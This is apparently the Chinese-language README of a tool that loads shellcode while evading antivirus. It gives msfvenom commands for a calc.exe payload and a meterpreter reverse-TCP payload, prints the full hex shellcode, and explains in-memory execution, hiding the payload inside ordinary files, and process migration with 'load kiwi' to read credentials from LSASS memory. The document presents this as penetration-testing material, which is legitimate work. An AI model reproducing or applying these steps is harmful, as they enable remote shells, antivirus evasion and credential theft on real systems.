使用此代码编译的可执行文件在渗透测试中很有用,当需要执行某些有效负载(可能是meterpreter?)同时确保不会被防病毒软件检测到时。唯一的要求是能够将两个文件上传到同一目录:二进制可执行文件 和 有效负载文件。
准备你的有效负载(x86),例如:
计算器: msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00\x0a\x0d\xff" -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf (实际上你不需要使用任何编码器或字符黑名单,它仍然有效)
meterpreter: msfvenom -p windows/meterpreter_reverse_tcp LHOST=... -a x86 -f c 2>/dev/null | egrep "^\"" | tr -d "\"\n;" >foolav.mf
将有效负载文件 [可执行文件名-不带exe扩展名].mf 复制到可执行文件所在的同一目录中
使用上述命令生成的计算器有效负载运行 calc.exe:
# calc.exe
\xbb\x28\x30\x85\x5b\xd9\xf7\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x33\x83\xea\xfc\x31\x5a\x0e\x03\x72\x3e\x67\xae\x7e\xd6\xee\x51\x7e\x27\x91\xd8\x9b\x16\x83\xbf\xe8\x0b\x13\xcb\xbc\xa7\xd8\x99\x54\x33\xac\x35\x5b\xf4\x1b\x60\x52\x05\xaa\xac\x38\xc5\xac\x50\x42\x1a\x0f\x68\x8d\x6f\x4e\xad\xf3\x80\x02\x66\x78\x32\xb3\x03\x3c\x8f\xb2\xc3\x4b\xaf\xcc\x66\x8b\x44\x67\x68\xdb\xf5\xfc\x22\xc3\x7e\x5a\x93\xf2\x53\xb8\xef\xbd\xd8\x0b\x9b\x3c\x09\x42\x64\x0f\x75\x09\x5b\xa0\x78\x53\x9b\x06\x63\x26\xd7\x75\x1e\x31\x2c\x04\xc4\xb4\xb1\xae\x8f\x6f\x12\x4f\x43\xe9\xd1\x43\x28\x7d\xbd\x47\xaf\x52\xb5\x73\x24\x55\x1a\xf2\x7e\x72\xbe\x5f\x24\x1b\xe7\x05\x8b\x24\xf7\xe1\x74\x81\x73\x03\x60\xb3\xd9\x49\x77\x31\x64\x34\x77\x49\x67\x16\x10\x78\xec\xf9\x67\x85\x27\xbe\x88\x67\xe2\xca\x20\x3e\x67\x77\x2d\xc1\x5d\xbb\x48\x42\x54\x43\xaf\x5a\x1d\x46\xeb\xdc\xcd\x3a\x64\x89\xf1\xe9\x85\x98\x91\x6c\x16\x40\x78\x0b\x9e\xe3\x84
一旦可执行文件运行,有效负载文件将被解析,加载到单独的线程并在内存中执行:

x86二进制文件可以在x86和x86_64 Windows系统上运行。不过,你需要使用x86架构的有效负载。然而,x86 meterpreter有效负载可以迁移到x86_64进程中。之后,load kiwi将加载x86_64版本,从而可以访问LSASS进程内存中的精彩内容 :)

.mf有效负载文件可以进行混淆 - 解析器将忽略除了\xHH十六进制序列之外的任何字符。这意味着,你可以将其有效负载附加到几乎任何文件,隐藏在不同行之间,甚至添加你自己的注释,示例:
